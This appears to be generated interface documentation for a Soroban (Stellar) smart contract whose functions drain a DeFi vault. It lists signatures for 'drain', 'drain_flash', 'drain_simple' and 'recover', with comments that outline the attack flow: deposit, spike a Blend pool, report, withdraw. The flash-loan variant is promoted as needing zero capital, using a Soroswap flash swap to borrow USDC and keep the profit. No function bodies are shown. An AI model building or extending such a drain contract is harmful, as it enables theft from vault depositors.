Full atomic drain: deposit → spike → report → withdraw → recover
fn drain(
env: soroban_sdk::Env,
owner: soroban_sdk::Address,
vault: soroban_sdk::Address,
token_addr: soroban_sdk::Address,
blend_pool: soroban_sdk::Address,
deposit_amount: i128,
spike_amount: i128,
) -> i128
Recover any tokens stuck in the contract
fn recover(
env: soroban_sdk::Env,
owner: soroban_sdk::Address,
token_addr: soroban_sdk::Address,
) -> i128
fn initialize(env: soroban_sdk::Env, owner: soroban_sdk::Address)
Flash loan drain — ZERO CAPITAL REQUIRED
Uses Soroswap pair flash swap to borrow USDC, exploit the vault, repay the loan + 0.3% fee, keep the profit.
Cost: ~2 XLM gas fees. That's it.
Flow:
fn drain_flash(
env: soroban_sdk::Env,
owner: soroban_sdk::Address,
vault: soroban_sdk::Address,
token_addr: soroban_sdk::Address,
blend_pool: soroban_sdk::Address,
soroswap_pair: soroban_sdk::Address,
flash_amount: i128,
) -> i128
Simple drain for vaults with existing gains — no Blend spike needed
fn drain_simple(
env: soroban_sdk::Env,
owner: soroban_sdk::Address,
vault: soroban_sdk::Address,
token_addr: soroban_sdk::Address,
deposit_amount: i128,
) -> i128